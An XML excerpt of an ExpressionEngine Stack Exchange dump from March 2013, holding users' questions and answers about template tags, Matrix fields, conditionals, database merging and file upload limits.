  <row Id="7063" PostTypeId="2" ParentId="5512" CreationDate="2013-03-06T05:56:36.670" Score="-2" Body="&lt;p&gt;But I think using pagination is a simplest solution, I also tried with a high number of limit with channel entries tag but didn't work. One can also go with the Ajax pagination for this.&lt;/p&gt;&#xA;" OwnerUserId="1121" LastActivityDate="2013-03-06T05:56:36.670" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="7064" PostTypeId="2" ParentId="7050" CreationDate="2013-03-06T07:27:02.910" Score="1" Body="&lt;p&gt;You are using Pixel &amp;amp; Tonic's &lt;a href=&quot;http://pixelandtonic.com/matrix/docs/js-callbacks&quot; rel=&quot;nofollow&quot;&gt;Matrix Development Docs&lt;/a&gt;. You don't need to. Unless, I'm misunderstanding, it sounds like, the url to the image file is stored in a Matrix field and you want to output that information to ColorBox to create a lightbox gallery.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If that's true, then let's assume your set-up is something like:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Matrix Field Set-Up&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{image} | {image_url}  | {image_caption} &#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Planned Output&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;With ColorBox you'd want the output to the specified class, to look something like this…&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;p&amp;gt;&amp;lt;a class=&quot;myClass&quot; href=&quot;{image_url}&quot; title=&quot;{image_caption}&quot;&amp;gt;Text or {image}&amp;lt;/a&amp;gt;&amp;lt;/p&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;If all your information is stored in the Matrix field, then you'd want&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{my_matrix_fieldname}&amp;lt;p&amp;gt;&amp;lt;a class=&quot;myClass&quot; href=&quot;{image_url}&quot; title=&quot;{image_caption}&quot;&amp;gt;Text or {image}&amp;lt;/a&amp;gt;&amp;lt;/p&amp;gt;{/my_matrix_fieldname}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;That is, if you are trying to use information from a Matrix field. If you are actually trying to create a new field_type that will work with Matrix and ColorBox, then this answer went horribly wrong.&lt;/p&gt;&#xA;" OwnerUserId="252" LastActivityDate="2013-03-06T07:27:02.910" CommentCount="6" ContentLicense="CC BY-SA 3.0" />
  <row Id="7065" PostTypeId="2" ParentId="7062" CreationDate="2013-03-06T07:50:39.177" Score="2" Body="&lt;p&gt;You can do this a couple ways. One quick method is to either use the record status and add 'topStory' as a status, along with 'open', 'close' and other statuses. Then to use code like&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{exp:channel:entries channel=&quot;news|press&quot; limit=&quot;1&quot; orderby=&quot;date&quot; sort=&quot;desc&quot; status=&quot;topStory&quot;}&#xA;&#xA;&amp;lt;div class=&quot;topStory&quot;&amp;gt;&#xA;    &amp;lt;h2&amp;gt;{title}&amp;lt;/h2&amp;gt;&#xA;    &amp;lt;p&amp;gt;{news_summary}{press_summary}&amp;lt;/p&amp;gt;&#xA;    &amp;lt;p class=&quot;readmore&quot;&amp;gt;&amp;lt;a href=&quot;&quot; title=&quot;Read {title}&quot;&amp;gt;Read More&amp;lt;/a&amp;gt;&amp;lt;/p&amp;gt;&#xA;&amp;lt;/div&amp;gt;&#xA;&#xA;{/exp:channel:entries}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;You can stack fields like I did for &lt;code&gt;{news_summary}&lt;/code&gt; versus &lt;code&gt;{press_summary}&lt;/code&gt; when both will be evaluated but only one will be true. For example in this case. The &lt;code&gt;{exp:channel:entries}&lt;/code&gt; tag is evaluating both channels &lt;code&gt;news&lt;/code&gt; and &lt;code&gt;press&lt;/code&gt; for the newest entry with the status of &lt;code&gt;topStory&lt;/code&gt;. Generally speaking, only one entry will meet that criteria of &lt;code&gt;newest&lt;/code&gt; so the second field will return empty.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;This will also work, with multiple returns, so it could be &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{exp:channel:entries channel=&quot;news|press&quot; limit=&quot;5&quot; orderby=&quot;date&quot; sort=&quot;desc&quot; status=&quot;topStory&quot;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;but it will return the appropriate field data for that record.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Obviously, if your summary fields allow XHTML, don't use the &lt;code&gt;&amp;lt;p&amp;gt;&lt;/code&gt; and &lt;code&gt;&amp;lt;/p&amp;gt;&lt;/code&gt; tags. I tend to make summary fields format as 'None'.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;But this is a quick method. There are plenty of other methods, but adding the status group used by both both news and press releases, works. Though it will remove the 'top story' from other listings, unless you display both status 'open' and 'topStory'.&lt;/p&gt;&#xA;" OwnerUserId="252" LastActivityDate="2013-03-06T07:50:39.177" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="7066" PostTypeId="1" CreationDate="2013-03-06T08:23:05.493" Score="2" ViewCount="198" Body="&lt;p&gt;Can i nest simple conditionals and are nested simple conditionals still parsed early?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;What happens when nesting an advanced conditional inside a simple conditional?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;(wiki answer)&lt;/p&gt;&#xA;" OwnerUserId="155" LastActivityDate="2013-03-06T08:31:13.783" Title="parse order and nested conditionals" Tags="|conditionals|advanced-conditionals|parse|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="7067" PostTypeId="2" ParentId="7066" CreationDate="2013-03-06T08:23:05.493" Score="2" Body="&lt;p&gt;the following template will generate an error because neither the &quot;foo&quot; or &quot;bar&quot; module or plugin exist. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Nested simple conditionals&lt;/strong&gt;&lt;br&gt;&#xA;The &quot;foo&quot; error will not show up, because the two nested conditionals are both simple conditionals. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Advanced conditional&lt;/strong&gt;&lt;br&gt;&#xA;The second block has a nested advanced conditional (it tests for two conditionals, last_segment AND segment_3) and thus the whole block is seen as being advanced conditionals, including the outer. The whole block will be parsed, generating an error for the non-existant &quot;bar&quot; extension.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Hands-on: Try removing the AND ... part from the advanced conditional to test the difference (no more error). And try adding foo/bar to the browser url (example.com/group/template/foo/bar), and see the &quot;foo&quot; error appear.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;Conditional test&#xA;{if last_segment != &quot;foo&quot;}&#xA;  {if segment_3 == &quot;foo&quot;}&#xA;    {exp:foo}{/exp:foo}&#xA;  {/if}&#xA;{/if}&#xA;&#xA;{if last_segment != &quot;foo&quot;}&#xA;  {if segment_3 == &quot;foo&quot; AND segment_3 ==&quot;bar&quot;}&#xA;    {exp:bar}{/exp:bar}&#xA;  {/if}&#xA;{/if}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;&lt;em&gt;Tip: Tags in advanced conditionals are always being parsed, they are just discarded before displaying the page. if you're not sure what is parsed, try enabling template-debugging to see which tags do get parsed. Alternatively you could add a tag for a non-existing plugin &quot;foo&quot; and see if the page generates an error, that way you know that the part is being parsed :-)&lt;/em&gt;&lt;/p&gt;&#xA;" OwnerUserId="155" LastEditorUserId="155" LastEditDate="2013-03-06T08:31:13.783" LastActivityDate="2013-03-06T08:31:13.783" CommentCount="0" CommunityOwnedDate="2013-03-06T08:23:05.493" ContentLicense="CC BY-SA 3.0" />
  <row Id="7069" PostTypeId="2" ParentId="7014" CreationDate="2013-03-06T09:18:06.500" Score="3" Body="&lt;p&gt;You can also - for a textarea field -  set &quot;Show file chooser&quot; to YES. Then, when writing in that field, select some words, click on File Chooser (just below the field), select an already uploaded file (or upload a new), like a pdf.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The selected text will be linked to the file.&lt;/p&gt;&#xA;" OwnerUserId="1123" LastActivityDate="2013-03-06T09:18:06.500" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="7070" PostTypeId="1" CreationDate="2013-03-06T09:32:45.530" Score="2" ViewCount="49" Body="&lt;p&gt;Im getting an error using safecracker and matrix when i try to re-order the rows, drag and drop doesn't work and using the drop down options returns this console error.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;Uncaught TypeError: Object [object Object] has no method 'callback' matrix.js:147&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;EE 2.5.5&lt;br/&gt;&#xA;Safecracker 2.1&lt;br/&gt;&#xA;Matrix 2.5.3&lt;br/&gt;&lt;/p&gt;&#xA;" OwnerUserId="861" LastActivityDate="2013-03-06T11:39:48.000" Title="SafeCracker Matrix re-ordering" Tags="|safecracker|matrix|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="7071" PostTypeId="1" AcceptedAnswerId="7085" CreationDate="2013-03-06T09:45:35.850" Score="1" ViewCount="128" Body="&lt;p&gt;Does anyone know of a custom field that will allow the user to select an existing page from the site? &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Throughout the site are going to be little snippets of information that will link through to another page on the site, so all I need to do is store the snippet and the link. I could just get the user to paste in the link, but I'm looking for something nicer.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I know Wygwam and the like have plugins for their linking, but I'm after something standalone.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Any help would be much appreciated, thanks!&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Darren &lt;/p&gt;&#xA;" OwnerUserId="653" LastActivityDate="2013-03-07T05:01:03.690" Title="Field to select an existing page" Tags="|custom-fields|plugin|" AnswerCount="3" CommentCount="1" FavoriteCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="7072" PostTypeId="2" ParentId="7050" CreationDate="2013-03-06T10:26:04.220" Score="1" Body="&lt;p&gt;As nonprofit_tech said, this is much simpler than you are assuming. If you have the hard coded version working, you are almost there. Say you are serving up your thumbnails in a list, like this:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;ul&amp;gt;&#xA;  &amp;lt;li&amp;gt;&amp;lt;a href=&quot;&quot;&amp;gt;&amp;lt;img src=&quot;&quot; alt=&quot;&quot; title=&quot;&quot;&amp;gt;&amp;lt;/a&amp;gt;&amp;lt;/li&amp;gt;&#xA;  &amp;lt;li&amp;gt;&amp;lt;a href=&quot;&quot;&amp;gt;&amp;lt;img src=&quot;&quot; alt=&quot;&quot; title=&quot;&quot;&amp;gt;&amp;lt;/a&amp;gt;&amp;lt;/li&amp;gt;&#xA;  &amp;lt;li&amp;gt;&amp;lt;a href=&quot;&quot;&amp;gt;&amp;lt;img src=&quot;&quot; alt=&quot;&quot; title=&quot;&quot;&amp;gt;&amp;lt;/a&amp;gt;&amp;lt;/li&amp;gt;&#xA;&amp;lt;/ul&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;You then set up a Matrix field (called, say, 'gallery-pix') and then create the necessary fields within that. You end up with markup something like this:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;ul&amp;gt;{gallery-pix}&#xA;  &amp;lt;li&amp;gt;&amp;lt;a href=&quot;{gallery-pix-large}&quot; title=&quot;{gallery-pix-title}&quot;&amp;gt;&amp;lt;img src=&quot;{gallery-pix-thumb}&quot; alt=&quot;{gallery-pix-title}&quot;&amp;gt;&amp;lt;/a&amp;gt;&amp;lt;/li&amp;gt;{/gallery-pix}            &#xA;&amp;lt;/ul&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="1048" LastActivityDate="2013-03-06T10:26:04.220" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="7073" PostTypeId="2" ParentId="7071" CreationDate="2013-03-06T10:35:16.997" Score="0" Body="&lt;p&gt;I think this might be what you're looking for:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Template &amp;amp; Snippet Select&lt;/strong&gt;&lt;br/&gt;&#xA;&lt;a href=&quot;http://devot-ee.com/add-ons/template-snippet-select&quot; rel=&quot;nofollow&quot;&gt;http://devot-ee.com/add-ons/template-snippet-select&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="174" LastActivityDate="2013-03-06T10:35:16.997" CommentCount="4" ContentLicense="CC BY-SA 3.0" />
  <row Id="7074" PostTypeId="1" AcceptedAnswerId="7077" CreationDate="2013-03-06T11:26:00.260" Score="2" ViewCount="216" Body="&lt;p&gt;I have made an extension that creates an action. The action has been created and is in the database with an ID of 34. But when I go to the following URL:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;http://mywebsite.com/index.php?ACT=34&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;I get an error page saying:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;Error&#xA;The action you have requested is invalid.&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;The method name stored in the database is post_job and I have this method defined in my extension class. Anyone know why this is happening? &lt;/p&gt;&#xA;" OwnerUserId="1124" LastActivityDate="2013-03-06T13:18:48.003" Title="Problem calling action in browser" Tags="|extension|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="7075" PostTypeId="2" ParentId="7070" CreationDate="2013-03-06T11:39:48.000" Score="1" Body="&lt;p&gt;Oliver, this is a known problem and will be fixed in the next Matrix version. Meanwhile, could you shoot us an email at support@pixelandtonic.com referencing this thread and I'll make sure you get a patch immediately.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Cheers,&#xA;Andris&lt;/p&gt;&#xA;" OwnerUserId="722" LastActivityDate="2013-03-06T11:39:48.000" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="7076" PostTypeId="1" AcceptedAnswerId="7078" CreationDate="2013-03-06T12:53:48.190" Score="2" ViewCount="227" Body="&lt;p&gt;Just had a client enter a large amount of content (400+ articles) onto our development built by accident, trying to work out a cunning way of merging the live database with the development database without losing any information. Is there any easy ways to do this? &lt;/p&gt;&#xA;&#xA;&lt;p&gt;A different editor has also been adding content into the live site so i'm guessing it could get pretty complicated?&lt;/p&gt;&#xA;" OwnerUserId="1014" LastActivityDate="2013-03-06T13:41:12.453" Title="Merging two ExpressionEngines databases" Tags="|database|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="7077" PostTypeId="2" ParentId="7074" CreationDate="2013-03-06T13:18:48.003" Score="3" Body="&lt;blockquote&gt;&#xA;  &lt;p&gt;I have this method defined in my extension class&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;There it is! Action methods are only valid if they belong to a module (either &lt;code&gt;mod.classname.php&lt;/code&gt; or &lt;code&gt;mcp.classname.php&lt;/code&gt;). They will not work if they live in an extension or plugin.&lt;/p&gt;&#xA;" OwnerUserId="55" LastActivityDate="2013-03-06T13:18:48.003" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="7078" PostTypeId="2" ParentId="7076" CreationDate="2013-03-06T13:41:12.453" Score="3" Body="&lt;p&gt;Well, that all depends on what kind of data was entered. Every fieldtype adds complexity - relationships, Playa, Matrix, Assets, Tag, categories - these all add new rows to additional database tables after the standard &lt;code&gt;channel_titles&lt;/code&gt; and &lt;code&gt;channel_data&lt;/code&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The main thing to worry about is duplicate &lt;code&gt;entry_id&lt;/code&gt;s. My tactic here is to go through each relevant entry and add a sufficiently-large number to the &lt;code&gt;entry_id&lt;/code&gt; in every applicable table. So, say your production site has less than 100 new entries since the development database was last synced:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;UPDATE exp_channel_titles SET entry_id = entry_id + 100 WHERE entry_id IN(&amp;lt;!-- comma-delimited list of the new entry_ids you need to migrate --&amp;gt;)&#xA;UPDATE exp_channel_data SET entry_id = entry_id + 100 WHERE entry_id IN(&amp;lt;!-- same list of entry_ids --&amp;gt;)&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;If you have relationships, other complex fieldtypes which use their own table that references the &lt;code&gt;entry_id&lt;/code&gt; of the entry their data is associated with, you'll need to do work on those as well.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;After you've sufficiently incremented all these values, you can merge the DBs.&lt;/p&gt;&#xA;" OwnerUserId="55" LastActivityDate="2013-03-06T13:41:12.453" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="7079" PostTypeId="1" CreationDate="2013-03-06T14:19:00.267" Score="1" ViewCount="576" Body="&lt;p&gt;How can i convert the following code to EE Tags?&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;?php &#xA;if($_GET['rel']!='tab'){&#xA;    include 'header.php';&#xA;}&#xA;?&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;I've used this with enabling the template to PHP, but i get the following error.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;A PHP Error was encountered&#xA;&#xA;Severity: Notice&#xA;&#xA;Message: Undefined index: del&#xA;&#xA;Filename: libraries/Functions.php(683) : eval()'d code&#xA;&#xA;Line Number: 5&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Thanks &lt;/p&gt;&#xA;" OwnerUserId="879" LastActivityDate="2013-03-06T19:59:54.687" Title="how to convert $_GET and include from php to EE tags" Tags="|php|get|" AnswerCount="4" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="7080" PostTypeId="2" ParentId="6095" CreationDate="2013-03-06T14:30:17.360" Score="0" Body="&lt;p&gt;For whatever reason I never really got to the bottom of this.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;However, installing Matrix and then removing it did the trick for us.&lt;/p&gt;&#xA;" OwnerUserId="146" LastActivityDate="2013-03-06T14:30:17.360" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="7081" PostTypeId="1" CreationDate="2013-03-06T14:48:15.427" Score="1" ViewCount="254" Body="&lt;p&gt;Hello community and thanks you for reading this&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I need for a client who run his website under expressionengine to modify the core to auto approve a user when he subscribe to the newsletter (mailing list plugin)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Basicly I want to keep the automatic email send by the system (i will modify the content and erase the link to confirm the subscription) and have a auto approve subscription. No need for the user to click to approve his subscription&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Many thanks to someone who find the solution.&lt;/p&gt;&#xA;" OwnerUserId="1125" LastActivityDate="2013-09-25T13:17:42.657" Title="mailing list auto approval subscription" Tags="|list|" AnswerCount="2" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="7082" PostTypeId="1" AcceptedAnswerId="7627" CreationDate="2013-03-06T15:37:23.337" Score="0" ViewCount="116" Body="&lt;p&gt;I have a custom color selection option in Cart Throb.  IT has been working great when all colors are the same price.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;But now I need to have a color option that is a different price.  I know this is easy using CT out of the box (product modifier)  &lt;/p&gt;&#xA;&#xA;&lt;p&gt;But how would I do it using my code?&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;select id=&quot;swatch_select_menu&quot; name=&quot;item_options[colour]&quot; onChange=&quot;showDiv(this.value);&quot;&amp;gt; &#xA;&amp;lt;option value=&quot;&quot;&amp;gt;Select Colour&amp;lt;/option&amp;gt;&#xA;{exp:channel:entries channel=&quot;colours&quot; category=&quot;5|35|34&quot; orderby=&quot;title&quot; sort=&quot;asc&quot; limit=&quot;999&quot; dynamic=&quot;no&quot; disable=&quot;pagination&quot;}&#xA;&amp;lt;option value=&quot;{url_title}&quot;&amp;gt;{title}&amp;lt;/option&amp;gt;&#xA;{/exp:channel:entries}&#xA;&amp;lt;/select&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="451" LastActivityDate="2013-03-22T07:56:22.327" Title="Cart Throb Custom Colour Select Price Config" Tags="|cartthrob|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="7083" PostTypeId="2" ParentId="7079" CreationDate="2013-03-06T15:38:08.390" Score="0" Body="&lt;p&gt;Two things:&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;&lt;p&gt;Your error message says &lt;code&gt;Undefined index: del&lt;/code&gt; and your code example references &lt;code&gt;$_GET['rel']&lt;/code&gt; -- There's no typo at play here, is there?&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Try this?&lt;/p&gt;&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;p&gt;Set PHP to run on Input.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;?php &#xA;if($_GET['rel']!='tab'){&#xA;?&amp;gt;&#xA;&amp;lt;embed=&quot;template_group/header_template&quot;&amp;gt; // With PHP enabled if you need&#xA;&amp;lt;?&#xA;}&#xA;?&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="293" LastActivityDate="2013-03-06T15:38:08.390" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="7084" PostTypeId="1" AcceptedAnswerId="7088" CreationDate="2013-03-06T15:39:04.630" Score="0" ViewCount="276" Body="&lt;p&gt;I've done some Google searches, and don't know if this is possible...but I really hope that it is.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I'm building a channel for landing pages (marketing campaigns.) Each campaign will be a channel entry, and will customize the template(s) I'm building. Each campaign page and thank-you page will have to be able to include JavaScript tracking code that is custom to the campaign - in addition to the GA tracking code that's going to be pulled into the template. This tracking code is often JavaScript.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I was going to create a textarea field for pasting in the tracking code, set to no formatting. But will EE allow this, or will it hopelessly mung up the JavaScript code? (I have Wygwam fields on this EE installation, but I've read &lt;a href=&quot;https://expressionengine.stackexchange.com/questions/1728/how-can-i-disallow-javascript-and-css-entered-into-wygwam-fields&quot;&gt;in another thread&lt;/a&gt; that Wygwam/CKEditor can routinely strip out JavaScript tags - and in this case I don't want the JavaScript to be messed with, stripped out, edited, or even breathed on wrong.)&lt;/p&gt;&#xA;" OwnerDisplayName="user800" LastEditorUserId="-1" LastEditDate="2017-04-13T12:49:23.763" LastActivityDate="2013-03-06T16:31:56.253" Title="Putting JavaScript in EE channel fields" Tags="|ee2|javascript|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="7085" PostTypeId="2" ParentId="7071" CreationDate="2013-03-06T15:39:32.413" Score="2" Body="&lt;p&gt;This is where Structure is really helpful. Once you define your pages based on Structure, you can use the StructureFrame fieldtype to select pages and get a link to their valid page URL.&lt;/p&gt;&#xA;" OwnerUserId="293" LastActivityDate="2013-03-06T15:39:32.413" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="7086" PostTypeId="2" ParentId="7079" CreationDate="2013-03-06T15:40:01.820" Score="0" Body="&lt;p&gt;As far as I know the $_GET and $_POST variables (among others) are not available in templates. To accomplish something like this you could use url segments. So in you're example you may have a link like this: domain.com?rel=tab. Instead you may be able to do this: domain.com/tab. Then in your template (no PHP required) you can do this:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{if segment_1 == &quot;tab&quot;}&#xA;    {embed=&quot;site/header&quot;}&#xA;{/if}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Where site/header is a template containing whatever code is in header.php. Note that the /tab could be any segment and change the conditional accordingly. I realize using segments instead of GET parameters may not always work, but this is how I have gotten around this problem myself a few times.&lt;/p&gt;&#xA;" OwnerUserId="874" LastActivityDate="2013-03-06T15:40:01.820" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="7087" PostTypeId="2" ParentId="7056" CreationDate="2013-03-06T15:41:46.437" Score="1" Body="&lt;p&gt;This is a non-EE answer but is another option -- We've been relying on a JS solution for our EE projects, that loads the tweets in the page within the browser. The jQuery plugin we've been using is:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;http://tweet.seaofclouds.com/&quot; rel=&quot;nofollow&quot;&gt;http://tweet.seaofclouds.com/&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Concerned that the v1.1 update would break that jQuery plugin, yesterday we found and tested this wrapper:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://github.com/StanScates/Tweet.js-Mod&quot; rel=&quot;nofollow&quot;&gt;https://github.com/StanScates/Tweet.js-Mod&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;It's working fine where we've implemented it, and is updated to support v1.1.&lt;/p&gt;&#xA;" OwnerUserId="293" LastActivityDate="2013-03-06T15:41:46.437" CommentCount="0" CommunityOwnedDate="2013-03-06T15:41:46.437" ContentLicense="CC BY-SA 3.0" />
  <row Id="7088" PostTypeId="2" ParentId="7084" CreationDate="2013-03-06T16:31:56.253" Score="0" Body="&lt;p&gt;A field set as a TextArea with formatting set to 'none' should do the trick and leave the js unaffected. WYGWAM or any other WYSIWYG editor will likely be a real pain.&lt;/p&gt;&#xA;" OwnerUserId="463" LastActivityDate="2013-03-06T16:31:56.253" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="7089" PostTypeId="1" AcceptedAnswerId="7091" CreationDate="2013-03-06T16:45:32.237" Score="1" ViewCount="71" Body="&lt;p&gt;I am considering migrating a nonprofit site to EE.  The existing site runs some news articles with an image and copyright attributions to the copyright holder.&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;I created a channel called &quot;Copyright Holders&quot; with no fields other than the title.&lt;/li&gt;&#xA;&lt;li&gt;I created a channel called &quot;News Articles&quot; with a Channel Images field and added a Relationship field to the Copyright Holders channel.&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;The EE workflow for this seems really clunky.  The content creator would first have to review the list of all copyright holders to make sure the one they are adding is not on the list.  Then they would have to publish an entry in the Copyright Holders channel if there isn't already the right one.  Then, finally, they can publish their entry in &quot;News articles&quot;.  At the end of it, if they mess up the first step we'll end up with duplicate entries in the dropdown.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If I were writing this as a PHP application it would be trivial to give the user an autocomplete field to enter the copyright holder.  After the submit, if they entered an existing (enforced-unique) field from the MySQL table then reference it; if not then create it and reference it.  This would be a simple and logical workflow for the content creator and would keep the data clean.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Is there some way to achieve the above in EE?  &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Or are my choices 1. live with the pain, or 2. write a custom CMS?&lt;/p&gt;&#xA;" OwnerUserId="1058" LastActivityDate="2013-03-06T17:22:56.543" Title="Enforcing unique titles in a channel and streamlining relationships" Tags="|channel-entries|relationships|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="7090" PostTypeId="1" CreationDate="2013-03-06T17:17:11.083" Score="5" ViewCount="416" Body="&lt;p&gt;I'm running into an issue where Assets doesn't upload a file over ~10MB. I've used EE's file manager and that could upload two different files, one ~18MB and one ~23MB. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;I have this in .htaccess (which is what was needed to get EE's file manager to upload the larger files):&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;php_value upload_max_filesize 32M&#xA;php_value post_max_size 32M&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;When trying to use Assets' File Manager, the progress bar loads up, then fades away, but the file never shows up anywhere. There is no error given, not even in the console.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I'm running EE 2.5.5 and Assets 2.0.5.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Edit:&lt;/strong&gt; I have also changed php.ini on the server to match the above PHP values in .htaccess just in case. Still no go.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Any ideas?&lt;/p&gt;&#xA;" OwnerUserId="132" LastEditorUserId="132" LastEditDate="2013-03-06T17:27:29.117" LastActivityDate="2018-06-01T23:36:32.787" Title="Assets won't upload large file?" Tags="|assets|file-uploads|" AnswerCount="3" CommentCount="9" ContentLicense="CC BY-SA 3.0" />
  <row Id="7091" PostTypeId="2" ParentId="7089" CreationDate="2013-03-06T17:22:56.543" Score="2" Body="&lt;p&gt;I'd suggest moving your &quot;Copyright Holders&quot; to a category group. There is no reason not to use categories here from what you describe. The editor can add new categories from within the edit form as they are adding new News Articles. Should do the trick.&lt;/p&gt;&#xA;" OwnerUserId="28" LastActivityDate="2013-03-06T17:22:56.543" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
